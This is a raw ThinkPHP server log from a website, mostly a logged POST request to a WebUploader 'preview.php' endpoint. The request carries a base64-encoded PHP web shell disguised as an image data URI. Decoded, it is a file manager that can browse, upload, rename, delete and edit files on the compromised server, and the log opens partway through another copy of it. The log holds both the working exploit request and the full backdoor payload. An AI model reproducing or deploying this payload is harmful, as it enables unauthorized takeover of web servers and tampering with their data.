YXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8' => '', 'webuploader' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:27+08:00 ] 119.42.146.234 POST 51tianwei.com/web/dist/static/webuploader/0.1.5/server/preview.php [运行时间:0.002715s] [吞吐率:368.34req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'dist', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KIC